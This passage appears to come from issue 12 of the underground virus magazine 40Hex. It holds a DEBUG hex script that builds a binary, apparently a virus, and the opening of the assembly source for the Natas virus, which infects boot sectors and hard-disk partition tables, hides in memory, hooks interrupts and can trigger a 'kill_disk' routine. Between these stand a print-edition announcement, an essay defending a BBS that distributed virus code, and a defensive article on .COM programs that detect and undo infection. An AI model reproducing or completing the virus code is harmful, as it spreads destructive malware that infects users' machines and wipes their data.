E 02D0 03 8A 00 98 A8 80 75 F3 80 8F 6F 0A 80 8B F0 FE
|
|
E 02E0 84 29 0A 03 DB 8B 97 67 0A C6 06 19 0A 00 90 E8
|
|
E 02F0 5F 03 E8 D9 02 E8 1F 02 51 80 E1 F8 E8 9B 03 59
|
|
E 0300 89 3E 1F 0A 5E BA 04 00 AC A8 80 74 B3 4A 75 F8
|
|
E 0310 BE 1F 0A BF 1B 0A A5 A5 C6 06 1A 0A 00 90 E8 8E
|
|
E 0320 01 F6 C5 40 74 09 C6 06 1A 0A 02 90 E8 80 01 BB
|
|
E 0330 1B 0A 51 80 E1 F8 E8 87 00 59 B8 FC C3 AB BE 33
|
|
E 0340 0A 8B 3E 25 0A 51 E8 4E 00 59 BB 1D 0A E8 70 00
|
|
E 0350 57 E8 DD 01 5F E8 76 02 F6 C1 08 75 0D F6 C5 20
|
|
E 0360 74 03 E8 31 02 E8 66 02 EB 1E 8B D7 2B 16 23 0A
|
|
E 0370 03 16 27 0A 42 42 F7 DA 83 E2 0F 80 FA 0E 75 05
|
|
E 0380 F6 C5 20 74 03 E8 2F 02 89 3E 21 0A BE 45 0A 2B
|
|
E 0390 3E 23 0A 03 3E 27 0A F6 C5 20 74 04 03 3E 65 0A
|
|
E 03A0 2B 3E 6B 0A 2B 3E 6D 0A 8B 4C FE E3 08 97 97 AD
|
|
E 03B0 97 01 05 E2 F9 8B 3E 21 0A 8B CF 2B 0E 23 0A C3
|
|
E 03C0 8B 7F 04 90 53 C6 06 19 0A 00 90 A0 71 0A 25 07
|
|
E 03D0 00 BA 02 00 F6 C5 40 74 02 D1 E2 F6 C5 20 74 02
|
|
E 03E0 F7 DA F6 C5 80 74 26 D1 FA 50 E8 B2 03 A0 72 0A
|
|
E 03F0 25 07 00 E8 A9 03 5B F6 C5 08 75 14 53 92 E8 3C
|
|
E 0400 01 E8 AE 02 5A E8 6B 03 E8 47 01 EB 03 E8 8F 03
|
|
E 0410 B2 75 A0 6F 0A 25 07 00 3C 04 74 1D 52 BA 01 00
|
|
E 0420 F6 C5 10 74 10 3C 01 75 0A E8 3F 01 78 05 5A B2
|
|
E 0430 E2 EB 06 F7 DA E8 67 03 5A 5B 8B 07 2B C7 48 48
|
|
E 0440 86 E0 8A C2 0A E4 78 05 58 58 E9 7A FD AB 89 7F
|
|
E 0450 04 90 C3 80 E5 FB E8 12 01 78 03 80 CD 04 8B 3E
|
|
E 0460 21 0A BD 43 0A E8 66 01 33 C0 A0 73 0A E8 7C 00
|
|
E 0470 E8 B5 00 56 52 56 52 F6 C5 04 74 0B 92 E8 BD 00
|
|
E 0480 E8 2F 02 89 16 75 0A 5A 5E E8 67 01 53 E8 3E 01
|
|
E 0490 F6 C5 04 74 0C 92 A1 75 0A 50 E8 15 02 E8 B1 00
|
|
E 04A0 58 BD 31 0A E8 70 00 5B 5A 5E E8 7B 00 EB 30 E8
|
|
E 04B0 0B 00 E8 BD FC 3D 06 00 72 03 E8 96 FF 8B 3E 21
|
|
E 04C0 0A E8 0A 01 A0 70 0A 25 07 00 3C 04 74 49 E8 A2
|
|
E 04D0 00 80 FB C0 77 41 E8 13 00 E8 1A 01 E8 38 00 51
|
|
E 04E0 80 E1 F8 FF 50 01 59 89 3E 1F 0A C3 C6 06 19 0A
|
|
E 04F0 00 90 E8 76 00 78 08 E8 79 00 BE 6D 08 EB 15 E8
|
|
E 0500 71 00 83 E3 07 80 FB 04 74 F5 80 BF 29 0A 00 74
|
|
E 0510 EE BE A0 08 87 D3 C3 89 3E 21 0A 50 A0 74 0A A2
|
|
E 0520 19 0A 58 8B 3E 1F 0A C3 50 AC 98 03 F0 58 46 46
|
|
E 0530 C3 33 C0 BF 29 0A AB AB 40 AB 48 AB C3 E8 32 FC
|
|
E 0540 25 07 00 8B F0 80 BC 29 0A 00 75 F1 FE 84 29 0A
|
|
E 0550 C3 92 8B F0 C6 84 29 0A 00 C3 50 51 57 BF 29 0A
|
|
E 0560 B9 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 03 FC 0B
|
|
E 0570 C0 58 C3 93 E8 FB FB 93 C3 92 24 07 BB 65 08 D7
|
|
E 0580 AA C3 92 25 0F 00 0C 70 AB 57 E8 4A 00 8B C7 5B
|
|
E 0590 2B C3 88 47 FF C3 E8 D9 FB 8A D4 83 E2 0F 25 03
|
|
E 05A0 00 74 1B 48 74 11 B0 E9 AA 92 AB 51 91 E3 06 E8
|
|
E 05B0 C0 FB AA E2 FA 59 C3 B0 EB AA 92 AA EB ED B0 E8
|
|
E 05C0 E8 E5 FF E8 11 00 E8 74 FF E8 86 FF EB 71 C6 06
|
|
E 05D0 19 0A 00 90 E8 00 00 E8 80 FF 75 9C F6 C1 02 74
|
|
E 05E0 97 50 52 56 E8 8B FB 92 E8 52 FF E8 64 FF BE 44
|
|
E 05F0 08 EB 06 E8 E1 FF 50 52 56 50 AC 98 E8 74 FF 23
|
|
E 0600 D8 58 F6 C1 04 75 0F FE 06 19 0A 50 A0 74 0A 38
|
|
E 0610 06 19 0A 58 72 02 33 DB 53 FF 10 5B 5E 5A 58 C3
|
|
E 0620 BE A0 08 83 E2 07 EB CE BE 6D 08 EB C9 0A C0 78
|
|
E 0630 09 E8 37 FF 78 04 04 50 AA C3 05 30 FF EB 0F 0A
|
|
E 0640 C0 78 09 E8 25 FF 78 04 04 58 AA C3 B4 8F E9 F6
|
|
E 0650 00 BE BB 08 EB 9D E8 1A FF 53 2B D3 E8 F2 FF 5A
|
|
E 0660 EB 23 3C 04 73 34 50 52 E8 41 00 5A 58 86 F2 EB
|
|
E 0670 39 E8 FF FE 53 33 D3 E8 D7 FF 5A E9 9E 00 52 8B
|
|
E 0680 D0 E8 A2 00 5A E9 17 01 D1 CA E8 C4 FF EB 07 D1
|
|
E 0690 C2 E8 BD FF 0C 08 B4 D1 EB B4 E8 CE FE 78 06 04
|
|
E 06A0 B8 AA 92 AB C3 B4 C7 E9 0B 01 04 04 04 B0 8A E2
|
|
E 06B0 AB C3 BE CC 08 EB 9D 50 92 E8 71 FF 58 EB 80 B4
|
|
E 06C0 8B EB 6A E8 A5 FE 78 EA BE D5 08 EB 87 52 50 52
|
|
E 06D0 E8 5A FF 58 E8 56 FF 58 E8 64 FF 58 E9 60 FF E8
|
|
E 06E0 78 FE 75 14 52 50 E8 54 FE E8 D7 FF 5A E8 D8 FF
|
|
E 06F0 5A 92 E8 CE FF E9 59 FE 0A C0 78 0A 3A C2 7F 02
|
|
E 0700 86 C2 0A D2 74 06 86 C2 B4 87 EB 33 04 90 AA C3
|
|
E 0710 E8 60 FE 53 33 D3 E8 03 00 5A EB 00 BE DE 08 EB
|
|
E 0720 AA 0C 30 E9 87 00 BE E7 08 EB A0 B4 33 0A C0 78
|
|
E 0730 09 0A D2 78 0A E8 33 FE 78 05 86 C2 80 EC 02 D0
|
|
E 0740 E0 D0 E0 D0 E0 0A C2 0A C0 78 02 0C C0 86 E0 F6
|
|
E 0750 C4 40 75 1D F6 C1 01 75 05 50 B0 2E AA 58 AB 2E
|
|
E 0760 8B 76 00 03 F6 2E 89 7A 02 2E FF 46 00 A0 1A 0A
|
|
E 0770 98 AB C3 BE EC 08 EB B1 B4 03 EB B1 BE F1 08 EB
|
|
E 0780 A8 B4 2B EB A8 E8 4F 00 4A EB 14 E8 44 00 42 EB
|
|
E 0790 0E E8 DF FD 53 2B D3 E8 05 00 5A EB 02 F7 DA 0B
|
|
E 07A0 D2 75 01 C3 BE F6 08 EB D6 0A C0 74 0E 0A C0 78
|
|
E 07B0 02 04 C0 B4 81 E8 8F FF 92 AB C3 B0 05 AA EB F8
|
|
E 07C0 F7 DA 0B D2 74 DD 0A C0 74 04 04 28 EB DF B0 2D
|
|
E 07D0 EB EB 50 04 08 EB 01 50 0A C0 79 07 B4 FF E8 66
|
|
E 07E0 FF 58 C3 04 40 AA 58 C3 BB B2 06 BE C3 06 0A C0
|
|
E 07F0 78 0F EB 0F BB 2B 07 EB 08 BB 78 07 EB 03 BB 81
|
|
E 0800 07 8B F3 E8 54 FD 75 2A 50 56 E8 30 FD E8 A2 FE
|
|
E 0810 5E 5A 92 52 FF D6 58 E9 38 FD BB 1C 07 BE 26 07
|
|
E 0820 E8 37 FD 75 0D 50 56 E8 13 FD E8 24 FE 92 5E 58
|
|
E 0830 EB E1 FF E3 BB 9F 07 BE 73 07 EB E4 BB 51 06 BE
|
|
E 0840 C3 06 EB DC 1E 78 05 78 05 78 05 78 05 78 05 20
|
|
E 0850 06 20 06 20 06 28 06 28 06 28 06 79 05 79 05 79
|
|
E 0860 05 82 05 96 05 F8 F5 F9 FC FD FB CC F0 0E 1C 07
|
|
E 0870 51 06 C2 07 9F 07 D2 07 D7 07 94 06 96 06 0E 1C
|
|
E 0880 07 C2 07 9F 07 9F 07 D2 07 D7 07 94 06 96 06 0E
|
|
E 0890 1C 07 9F 07 C2 07 C2 07 D7 07 D2 07 96 06 94 06
|
|
E 08A0 06 26 07 B2 06 7C 07 73 07 06 26 07 26 07 7C 07
|
|
E 08B0 73 07 06 26 07 26 07 73 07 7C 07 0E 9A 06 3C 08
|
|
E 08C0 56 06 62 06 71 06 7E 06 88 06 8F 06 06 BF 06 BF
|
|
E 08D0 06 E8 07 B7 06 06 F8 06 F8 06 CD 06 DF 06 06 21
|
|
E 08E0 07 21 07 1A 08 10 07 02 2B 07 F4 07 02 78 07 F9
|
|
E 08F0 07 02 81 07 FE 07 0E A9 07 A9 07 34 08 C0 07 85
|
|
E 0900 07 8B 07 91 07 91 07 5E 8B C6 B1 04 D3 E8 2D 10
|
|
E 0910 00 03 C3 BB 19 09 50 53 CB BF 00 01 06 57 06 06
|
|
E 0920 A5 A5 0E 0E 07 1F B4 1A BA B8 0A CD 21 B4 47 99
|
|
E 0930 BE 78 0A C6 44 FF 5C CD 21 C6 06 18 0A 04 90 E8
|
|
E 0940 1D F8 B4 4E BA 0A 01 CD 21 73 1A B4 3B BA 10 01
|
|
E 0950 CD 21 73 EE B4 3B BA 77 0A CD 21 07 1F BA 80 00
|
|
E 0960 B4 1A CD 21 CB B8 00 3D BA D6 0A CD 21 72 26 93
|
|
E 0970 B4 3F B9 04 00 BA 06 01 CD 21 B4 3E CD 21 81 3E
|
|
E 0980 06 01 FC E9 74 0F 02 C4 3C A7 74 09 E8 0A 00 FE
|
|
E 0990 0E 18 0A 74 BF B4 4F EB AE B8 00 3D BA D6 0A CD
|
|
E 09A0 21 50 93 B8 20 12 CD 2F B8 16 12 26 8A 1D B7 00
|
|
E 09B0 CD 2F 5B 26 C7 45 02 02 00 26 8B 45 11 8B E8 B9
|
|
E 09C0 04 00 2B C1 A3 16 0A B4 40 BA 14 0A CD 21 26 89
|
|
E 09D0 6D 15 06 57 0E 07 BE 00 01 BF 04 0D B9 8B 04 F3
|
|
E 09E0 A5 B8 0B 00 BA 04 0D B9 16 09 BE 64 0B BF E4 0A
|
|
E 09F0 52 53 56 8B DD FE C7 E8 D4 F7 B4 40 5A 5B CD 21
|
|
E 0A00 B4 40 B9 16 09 5A CD 21 5F 07 26 80 4D 06 40 B4
|
|
E 0A10 3E CD 21 C3 FC E9
|
|
E 163A C6 06 00 01 FC C7
|
|
E 1640 06 01 01 8C DB 33 FF 0E 57 0E 0E E9 D4 F2
|
|
R CX
|
|
154E
|
|
W
|
|
Q
|
|
--End LAME.SCR-----------------------------------------------------------------
|
|
DA
|
|
40Hex Number 12 Volume 3 Issue 3 File 002
|
|
|
|
Extracted From CuD [5.66]
|
|
-------------------------
|
|
|
|
Subject: File 3--40Hex is now a print magazine
|
|
From: fortyhex (geoff heap)
|
|
Date: Mon, 16 Aug 93 17:19:02 EDT
|
|
|
|
40Hex, the world's most popular underground virus magazine is now
|
|
available in two versions -- the familiar online magazine and a new
|
|
printed magazine.
|
|
In the past two and a half years, 40Hex has become the most popular
|
|
virus magazine in the underground. The new printed magazine (dubbed
|
|
40Hex Hardcopy) is intended for anyone who wishes to learn as much as
|
|
they can about computer viruses -- from the source, the virus writers.
|
|
Each issue will contain --
|
|
|
|
o A complete virus disassembly, fully commented in the 40Hex
|
|
tradition,
|
|
|
|
o Detailed programming articles, intended for those fluent in
|
|
assembly,
|
|
|
|
o Introductory articles intended to help those on all levels of
|
|
ability, and
|
|
|
|
o Interviews with virus writers and virus researchers.
|
|
|
|
Also included is an editorial column, which will provide a forum
|
|
for discussions about any virus related issue. Submissions from both
|
|
sides of the argument are welcome, and will be given an equal voice.
|
|
|
|
|
|
Subscriptions --
|
|
|
|
The price for 40Hex Hardcopy is $35 per year for individuals, $50
|
|
per year for corporations. The magazine is bimonthly (six issues per
|
|
year).
|
|
|
|
The online magazine is available free of charge from many privately
|
|
operated BBSs. You may receive a disk with the latest issue from us for
|
|
$5. Please send a note specifying whether you would like a 5 1/4 or a 3
|
|
1/2 inch disk.
|
|
|
|
Correspondence --
|
|
|
|
Subscription requests should be addressed to
|
|
|
|
Subscriptions
|
|
40Hex Magazine
|
|
PO Box 252
|
|
New City, NY, 10956
|
|
|
|
Article submissions should be addressed to
|
|
|
|
Articles
|
|
40Hex Magazine
|
|
PO Box 252
|
|
New City, NY, 10956
|
|
|
|
Letters to the editors should be addressed to
|
|
|
|
The Editors
|
|
40Hex Magazine
|
|
PO Box 252
|
|
New City, NY, 10956
|
|
|
|
if you have access to internet E-Mail, you can send a note to
|
|
|
|
fortyhex@mindvox.phantom.com
|
|
|
|
|
|
note: manuscripts will not be returned to the sender unless they are
|
|
accompanied by postage. All submissions must be marked "manuscript
|
|
submitted for publication."
|
|
|
|
|
|
The online magazine will still be published, and will remain
|
|
separate from the new hardcopy magazine with no article overlap.
|
|
|
|
|
|
+++
|
|
|
|
Leni Niles
|
|
Co-Editor, 40Hex Hardcopy
|
|
|
|
---------------------------------------------------------------------
|
|
40Hex Number 12 Volume 3 Issue 3 File 003
|
|
|
|
Self Checking Executable Files
|
|
Demogorgon Phalcon/Skism
|
|
|
|
|
|
In this article I will explain a method that will allow .COM files
|
|
to be immune to simple viruses. In order to infect a .COM file, a virus
|
|
must change several bytes at the beginning of the code. Before the
|
|
virus returns control to the original program, it will 'disinfect' it
|
|
into memory, so that the program runs as it did before infection. This
|
|
disinfection process is crucial, because it means that the image on the
|
|
disk will not be the same as the memory image of the program. This
|
|
article describes a method by which a .COM file can perform a self-check
|
|
by reading its disk image and comparing it to its memory image.
|
|
|
|
The full pathname of the program that is being executed by DOS is
|
|
located in the environment block. The segment of the environment block
|
|
can be read from the PSP. It is located at offset [2Ch].
|
|
|
|
The name of the program is the last entry in the environment block,
|
|
and can be located by searching for two zeros. The next byte after the
|
|
two zeros contains the length of the string that follows it. After the
|
|
length is an ASCIIZ string containing the pathname of the current
|
|
process. The following code opens the file being executed:
|
|
|
|
nish: mov es, word ptr ds:[2Ch] ; segment of environment
|
|
xor ax, ax
|
|
mov di, 1
|
|
loop_0: dec di
|
|
scasw
|
|
jne loop_0
|
|
|
|
mov dx, di
|
|
add dx, 2 ; start of pathname
|
|
push es
|
|
pop ds
|
|
mov ax, 3D02h ; open, read/write access
|
|
int 21h
|
|
|
|
Next, we must read in the file (using dos services function 3Fh,
|
|
read file or device). We can read the file into the heap space after
|
|
the program, as long as we are sure we will not overwrite the stack. The
|
|
sample program in this file reads itself in entirely, but remember, it
|
|
is not necessary to do so. It is only necessary to read and compare the
|
|
first few bytes. Also, the program could read itself in blocks instead
|
|
of all at once.
|
|
|
|
If a file finds itself to be infected, it should report this to the
|
|
user. Remember, even though the file knows it is infected, the virus
|
|
has already executed. Memory resident viruses will already have loaded
|
|
themselves into memory, and direct action viruses will already have
|
|
infected other files on the drive. Thus, any virus that employs
|
|
disinfection on the fly will be able to avoid detection and removal.
|
|
Here is the full source to the self checking program:
|
|
|
|
|
|
;();();();();();();();();();();();();();();();();();();();();()
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
start: mov es, word ptr ds:[2Ch] ; dos environment block
|
|
xor ax, ax
|
|
mov di, 1
|
|
loop_0: dec di
|
|
scasw
|
|
jne loop_0
|
|
|
|
mov dx, di
|
|
add dx, 2 ; <- point to current
|
|
push es ; process name
|
|
pop ds
|
|
mov ah, 3Dh ; open file with handle
|
|
int 21h
|
|
jc bad ; error opening file ?
|
|
mov bx, ax
|
|
|
|
push cs
|
|
push cs
|
|
pop es
|
|
pop ds ; I am a com file.
|
|
|
|
mov cx, heap - start ; length
|
|
lea dx, heap ; where to read file into
|
|
mov ah, 3Fh ; read file or device
|
|
int 21h
|
|
jc bad ; error reading file ?
|
|
|
|
; here, do a byte for byte compare
|
|
lea si, start
|
|
lea di, heap
|
|
|
|
repe cmpsb ; compare 'em
|
|
jne bad
|
|
|
|
lea dx, clean
|
|
mov ah, 9
|
|
int 21h
|
|
jmp quit_
|
|
|
|
bad: mov ah, 9
|
|
lea dx, infected
|
|
int 21h
|
|
|
|
quit_: mov ax, 4C00h
|
|
int 21h
|
|
|
|
clean db 'Self check passed.$'
|
|
infected db 'Self check failed. Program is probably infected.$'
|
|
|
|
heap:
|
|
|
|
end start
|
|
|
|
;();();();();();();();();();();();();();();();();();();();();()
|
|
|
|
|
|
While some self checking routines opt to use a crc or checksum
|
|
error detection method, the byte for byte method is both faster and more
|
|
accurate.
|
|
|
|
Weak points: This routine will not work against a stealth virus
|
|
which employs disinfection on the fly. Such viruses take over the dos
|
|
interrupt (int 21) and disinfect all files that are opened and read
|
|
from. As the routine in this article attempts to read itself into
|
|
memory, the stealth virus would disinfect it and write an uninfected
|
|
copy to ram. Of course, there are ways to defeat this. If this program
|
|
were to use some sort of tunneling, it could bypass the stealth virus
|
|
and call DOS directly. That way, infections by even the most
|
|
sophisticated viruses would be detectable.
|
|
|
|
|
|
Disinfection:
|
|
|
|
So, now you can write programs that will detect if they have been
|
|
infected. How about disinfection? This too is possible. Most viruses
|
|
simply replace the first three bytes of the executable file with a jump
|
|
or a call, which transfers control to the virus code. Since only the
|
|
first three bytes are going to be changed (in almost all cases), it will
|
|
usually be possible for a program to disinfect itself by replacing the
|
|
first three bytes with what is supposed to be there, and then truncating
|
|
itself to the correct size. The next program writes the entire memory
|
|
image to disk, rather than just the first three bytes. That way, it can
|
|
be used to disinfect itself from all nonstealth viruses.
|
|
|
|
The steps to disinfect are simple. First of all, you must move the
|
|
file pointer back to the beginning of the file. Use interrupt 21,
|
|
ah=42h for this. The AL register holds the move mode, which must be 00
|
|
in this case (move from beginning of file). CX:DX holds the 32bit
|
|
number for how many bytes to move. Naturally, this should be 0:0.
|
|
|
|
The second step is to write back the memory image to the file.
|
|
Since the virus has already restored the first few bytes of our program
|
|
in memory, we must simply write back to the original file, starting from
|
|
100h in the current code segment. i.e.:
|
|
|
|
mov ah, 40h
|
|
mov cx, heap - start ; bytes to write
|
|
lea dx, start
|
|
int 21h ; write file or device
|
|
|
|
Finally, we must truncate the file back to its original size. To
|
|
truncate a file, we must move the file pointer to the end and call the
|
|
'write file or device' function with cx, the bytes to write, equal to
|
|
zero. To move the pointer, do this:
|
|
|
|
mov ax, 4200h
|
|
mov cx, (heap - start) SHR 16 ; high word of file ptr
|
|
mov dx, (heap - start) ; low word of file ptr
|
|
int 21h ; move file pointer
|
|
|
|
|
|
Since we are dealing with .COM files here, it is safe to assume
|
|
that cx, the most significant word of the file ptr, can be set to zero,
|
|
because our entire file must fit into one segment. We do not need to
|
|
calculate it as above.
|
|
|
|
To truncate:
|
|
|
|
xor cx, cx
|
|
mov ah, 40h
|
|
int 21h ; truncate file
|
|
|
|
The full code for the self disinfecting program follows.
|
|
|
|
|
|
;();();();();();();();();();();();();();();();();();();();();()
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
start: mov es, word ptr ds:[2Ch] ; segment of environment
|
|
xor ax, ax
|
|
mov di, 1
|
|
loop_0: dec di
|
|
scasw
|
|
jne loop_0
|
|
|
|
mov dx, di
|
|
add dx, 2
|
|
push es
|
|
pop ds
|
|
mov ax, 3D02h ; open, read/write access
|
|
int 21h
|
|
mov bx, ax ; handle into bx
|
|
push cs
|
|
push cs
|
|
pop es
|
|
pop ds
|
|
mov cx, heap - start
|
|
lea dx, heap
|
|
mov ah, 3Fh ; read file or device
|
|
int 21h
|
|
jc quit_ ; can't read ?
|
|
|
|
lea si, start
|
|
lea di, heap
|
|
|
|
repe cmpsb ; byte for byte compare
|
|
jne bad
|
|
|
|
lea dx, clean ; we are golden
|
|
mov ah, 9 ; print string
|
|
int 21h
|
|
jmp main_program
|
|
|
|
bad: mov ah, 9 ; we are infected
|
|
lea dx, infected
|
|
int 21h
|
|
|
|
lea dx, disinfection
|
|
int 21h
|
|
|
|
; now, disinfect. File handle is still in bx
|
|
; we must move the file pointer to the beginning
|
|
xor cx, cx
|
|
xor dx, dx
|
|
mov ax, 4200h
|
|
int 21h ; move file pointer
|
|
|
|
mov ah, 40h ; 40hex!
|
|
mov cx, heap - start
|
|
lea dx, start
|
|
int 21h ; write file or device
|
|
jnc success
|
|
|
|
lea dx, not__
|
|
mov ah, 9
|
|
int 21h
|
|
success:mov ah, 9
|
|
lea dx, successful
|
|
int 21h
|
|
|
|
xor cx, cx
|
|
mov ah, 40h ; 40hex!
|
|
int 21h ; truncate file
|
|
|
|
main_program:
|
|
|
|
quit_: mov ax, 4C00h
|
|
int 21h
|
|
|
|
disinfection db 0Dh, 0Ah, 'Disinfection $'
|
|
not__ db 'not '
|
|
successful db 'successful.$'
|
|
|
|
clean db 'Self check passed.$'
|
|
infected db 'Self check failed. Program is probably '
|
|
db 'infected.$'
|
|
|
|
heap:
|
|
|
|
end start
|
|
|
|
;();();();();();();();();();();();();();();();();();();();();()
|
|
|
|
Weak points: The same weak points that apply above also apply here.
|
|
Additionally, the program may, by writing itself back to disk, give the
|
|
virus the opportunity to reinfect. Remember, any memory resident
|
|
viruses will already have loaded into memory by the time the program
|
|
disinfects itself. When the program tries to disinfect itself, any
|
|
virus that intercepts the 'write file or device' interrupt will
|
|
intercept this write and re-infect. Again, tunneling is the clear
|
|
solution.
|
|
|
|
40Hex Number 12 Volume 3 Issue 3 File 003
|
|
|
|
[Not so] Recently, the AIS BBS was shut down because of an anonymous
|
|
letter which stated that the AIS BBS contained and distributed virus
|
|
source code and helped system hackers develop and test malicious
|
|
programs. Now, I had been a member of AIS BBS for quite awhile, and it
|
|
is true that there was virus source code available. The first question
|
|
I want to ask is:
|
|
|
|
"Who uploaded these viruses?"
|
|
|
|
Hackers uploaded them. To my knowledge there weren't that many
|
|
hackers on AIS BBS. The majority of the users were people in the
|
|
computer and computer security industry. By being exposed to virus
|
|
source code and hackers in general, they would be able to do their job
|
|
better and more effectively. The anonymous person who complained about
|
|
AIS BBS clearly didn't do enough research, because if he had, he would
|
|
have realized that the people who he was worried about obtaining viruses
|
|
already had them. I would guess that over 90% of the underground
|
|
material on AIS BBS was contributed by hackers. Which brings me to my
|
|
next question...
|
|
|
|
"Why did hackers willingly give away their 'secrets' to the people who
|
|
have always been viewed as the enemy?"
|
|
|
|
The main reason the hackers on AIS BBS contributed to the system was
|
|
the friendly environment for them on AIS BBS. An important fact about
|
|
almost all hackers is that for the most part they are just like every
|
|
other person out there. They aren't evil computer geniuses trying to
|
|
destroy everyone's vital information. When logging into AIS BBS, a
|
|
hacker was not assaulted by rude messages, was not refered to as
|
|
a criminal, but was instead greeted as a fellow computer enthusiast. Of
|
|
course people wanted advice from hackers, who better to secure a
|
|
computer system then one who spends countless hours trying to penetrate
|
|
them.
|
|
|
|
"Are there, or have there ever been other systems like this?"
|
|
|
|
There have been several attempts to achieve a BBS that bridged the
|
|
gap between hackers and computer security professionals. The first one
|
|
I had ever heard of was called Face to Face. I am not too sure on the
|
|
success of this BBS, I only know that it wasn't that great. On my BBS,
|
|
Landfill, I also attempted to allow the security folks to interact with
|
|
computer hackers and virus writers, with a message base called 'Security
|
|
and the Security Impaired'. This forum allowed both sides to speak
|
|
their mind about a variety of issues, including Van Eck devices (TEMPEST),
|
|
suggestions for the improvement of currently insecure systems, and in
|
|
one example, virus writers helped one system administrator with a
|
|
rampant case of the Maltese Amoeba virus by displaying all of the
|
|
pertinent information and characteristics of the virus. Another system
|
|
called Unphamiliar Territories also has a message base with similiar
|
|
information that is still up and running today with a substantial amount
|
|
of success!
|
|
|
|
"Who protects us if our protectors are aiding the enemy?"
|
|
|
|
The Bureau of Public Debt has little to do with protecting our
|
|
country, and in regards to viruses, there is no agency who can protect
|
|
you from viruses. There is however a way you can protect yourselves.
|
|
It is through awareness that you can protect your data from the damages
|
|
incurred by malicious intent. The same awareness that the Bureau of
|
|
Public Debt was trying to make publicly available on AIS BBS. Before
|
|
the government did it, everyone else had already done it. This fact may
|
|
alarm some people, but I would estimate that there are well over 200
|
|
other systems in the United States alone that currently distribute virus
|
|
code to people who very well could end up distributing it to other
|
|
people without their consent. I am a tax paying citizen of the USA, and
|
|
I know I would rather hear that we spend a couple hundred dollars
|
|
educating the public on computer viruses then hear about the thousands
|
|
of dollars in damage done by miscellaneous computer viruses that hit
|
|
companies and wipe out all their data. By closing down AIS BBS, the
|
|
door for virus writers to obtain virus source remains wide open, while
|
|
the people who could find the information valuable, if not necessary for
|
|
their jobs, just had the only door open to them slammed shut and locked,
|
|
maybe forever. It is hard to tell who hurts us more - Those who make it
|
|
harder for computer users to protect themselves, or those who sit in
|
|
blind ignorance.
|
|
|
|
-> GHeap
|
|
;Natas Virus
|
|
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
|
|
;Tunnels
|
|
;Does other stuff
|
|
;2 files -- v1eng.asm = virus eng.asm = Engine
|
|
|
|
|
|
----------------<<v1eng.asm>>--------------------------------------------------
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
file_size equ file_end - v_start
|
|
sect_size equ (decrypt - v_start + 511) / 512
|
|
para_size equ (v_end - v_start + 15) / 16
|
|
kilo_size equ (v_end - v_start + 1023) / 1024
|
|
|
|
find_dos_13 equ tracer_dos_13 - (trace_mode + 1)
|
|
find_13 equ tracer_13 - (trace_mode + 1)
|
|
find_15 equ tracer_15 - (trace_mode + 1)
|
|
find_21 equ tracer_21 - (trace_mode + 1)
|
|
find_40 equ tracer_40 - (trace_mode + 1)
|
|
step_21 equ tracer_step_21 - (trace_mode + 1)
|
|
|
|
loader_size equ loader_end - loader
|
|
|
|
no_hook_21 equ new_13_next - (hook_21 + 1)
|
|
yes_hook_21 equ check_21 - (hook_21 + 1)
|
|
|
|
boot equ 0
|
|
file equ 1
|
|
|
|
years equ 100 shl 1
|
|
|
|
|
|
v_start: jmp decrypt
|
|
|
|
; push cs
|
|
; pop ds
|
|
; call copy_ints
|
|
dw copy_ints - ($ + 2) ; save ints 13 15 21 40
|
|
mov ds:hook_21,al ; (0=yes_hook_21) hook 21h
|
|
mov ds:origin,al ; (0=boot) remeber host
|
|
mov es,ax ; ES=0
|
|
pop di
|
|
sub di,3 ; address of loader in boot
|
|
push ax di ; save return address 0:xxxx
|
|
mov si,offset boot_code
|
|
call move_boot_code1 ; copy and decode boot code
|
|
mov al,13h
|
|
mov dx,offset new_13
|
|
call set_int ; hook int 13h
|
|
call inf_hard ; infect drive C:
|
|
test byte ptr ds:load_head,dl ; DL=80h drive C:?
|
|
je boot_retf
|
|
mov ax,1ffh
|
|
call random ; time to activate?
|
|
jne boot_retf
|
|
jmp kill_disk
|
|
|
|
boot_retf: retf ; return to boot sector
|
|
|
|
;=====( Copy boot code and (en/de)crypt it )=================================;
|
|
|
|
move_boot_code1:mov ah,ds:[si - 1] ; get key
|
|
move_boot_code: mov cx,loader_size
|
|
cld
|
|
move_boot_loop: lodsb
|
|
xor al,ah ; code/decode
|
|
rol ah,1
|
|
stosb
|
|
loop move_boot_loop
|
|
retn
|
|
|
|
;=====( Code that was in boot sector before infection )======================;
|
|
|
|
boot_code_key db ?
|
|
boot_code: db loader_size dup(?)
|
|
|
|
;=====( Gets inserted into infected Boot sectors/MBRs )======================;
|
|
|
|
loader: call $ + 3
|
|
mov di,40h
|
|
mov ds,di
|
|
sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
|
|
mov ax,ds:[di-(40h-13h)]
|
|
mov cl,0ah
|
|
ror ax,cl ; get TOM address
|
|
mov es,ax
|
|
mov ax,200h + sect_size
|
|
xor bx,bx
|
|
mov cx,0
|
|
load_sect = $ - 2
|
|
mov dx,0
|
|
load_head = $ - 2
|
|
int 13h ; read code into memory
|
|
jb load_fail
|
|
push es bx ; address of high code
|
|
retf
|
|
load_fail: int 18h
|
|
loader_end:
|
|
|
|
;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
|
|
|
|
copy_ints: push ds
|
|
xor ax,ax
|
|
mov ds,ax ; segment 0
|
|
mov si,13h * 4h
|
|
mov di,offset int_13
|
|
push si si
|
|
movsw
|
|
movsw ; int 13h to int_13
|
|
pop si
|
|
movsw
|
|
movsw ; int 13h to dos_13
|
|
mov si,15h * 4h
|
|
movsw
|
|
movsw ; int 15h to int_15
|
|
pop si ; address of int 13h's IVT
|
|
cmp byte ptr ds:[475h],al ; any hard disks?
|
|
je copy_int_40
|
|
mov si,40h * 4h
|
|
copy_int_40: movsw
|
|
movsw ; copy int 13h/40h to int_40
|
|
mov si,21h * 4h
|
|
movsw
|
|
movsw ; int 21h to int_21
|
|
pop ds
|
|
retn
|
|
|
|
;=====( get interrupt address )==============================================;
|
|
|
|
get_int: push ax
|
|
xor ah,ah
|
|
rol ax,1
|
|
rol ax,1
|
|
xchg bx,ax
|
|
xor ax,ax
|
|
mov es,ax
|
|
les bx,es:[bx] ; get int address
|
|
pop ax
|
|
retn
|
|
|
|
;=====( Set interrupt address )==============================================;
|
|
|
|
set_int: push ax bx ds
|
|
xor ah,ah
|
|
rol ax,1
|
|
